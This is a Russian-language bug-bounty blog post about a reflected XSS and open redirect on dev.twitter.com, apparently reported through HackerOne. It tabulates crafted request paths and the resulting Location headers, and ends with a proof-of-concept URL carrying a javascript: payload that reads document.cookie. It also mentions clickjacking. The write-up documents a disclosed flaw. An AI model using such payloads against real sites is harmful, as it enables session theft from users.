30 сентября 2017

[dev.twitter.com] XSS


Разгребал логи скриптов для bugbounty и нашел интересное перенаправление на сайте dev.twitter.com.
Изначально оно выглядело так https://dev.twitter.com//xxx/

enter image description here

В таблице представлены этапы раскрутки уязвимости.

Request Location header Link on page Comment
//xxx/ http://dev.twitter.com/xxx xxx Entry point
/http:site.com/ http://dev.twitter.com/site.com http:site.com
/https:site.com/ https:site.com https:site.com http://dev.twitter.com - base URL.
https: - protocol change, so the Location URLis absolute.
/javascript:alert(1)/ javascript:alert(1) javascript:alert(1) XSS in the body.
But redirect to javascript: will be blocked by the browser.
/https:/%5cblackfan.ru/ https:/\blackfan.ru https:/\blackfan.ru Open Redirect
/aa://bb/cc/ /aa://dev.twitter.com/cc cc Interesting.
Let’s try to merge Open Redirect and XSS.
/aa://bb/javascript:111/ /aa://dev.twitter.com/javascript:111 javascript:111 Very close
/aa://bb/javascript:alert(1)/ javascript:alert(1) javascript:alert(1) WTF, Location header!
/aa://bb/javascript:222/ /aa://dev.twitter.com/javascript:222 javascript:222
/aa://bb/javascript:xxx/ javascript:xxx javascript:xxx It looks like I can only use numbers (host:port ?)
/aa://bb/!javascript:xxx/ /aa://dev.twitter.com/!javascript:xxx !javascript:xxx But if I put an invalid scheme, everything is fine.
shazzer: Characters before javascript uri
/aa://bb/%01javascript:xxx/ /aa://dev.twitter.com/█javascript:xxx █javascript:xxx Nice
//aa:1//bb/%01javascript:xxx/ aa:1//bb/█javascript:xxx aa:1//bb/█javascript:xxx Oh,come on
//aa:1/:///%01javascript:xxx/ //aa:1/://dev.twitter.com/█xxx █javascript:xxx And finally

Итак, сформировав в Location заголовке ссылку с некорректным портом мне удалось заблокировать перенаправление в браузере FireFox (я уже использовал этот трюк в другой XSS на Facebook). А за счет разницы обработки Request-URI в теле ответа была сформирована JavaScript ссылка.
Финальный PoC:

https://dev.twitter.com//x:1/:///%01javascript:alert(document.cookie)/

Открываем и нажимаем ссылку. На сайте также не использовался заголовок X-Frame-Options, что можно было использовать для эксплуатации этой XSS через Clickjacking.

enter image description here

Результат: https://hackerone.com/reports/260744

5 комментариев :

  1. С чего ты начал пытаться сувать /aa: ? Вроде даже в fuzzdb такого нет!

    ОтветитьУдалить
  2. Ну тут соль не в "/aa:". Просто смотрел, как обрабатывается строка попадающая в протокол и host:port результирующей ссылки.

    ОтветитьУдалить
  3. To be honest, I can't understand it at all. What should I do?

    ОтветитьУдалить

Примечание. Отправлять комментарии могут только участники этого блога.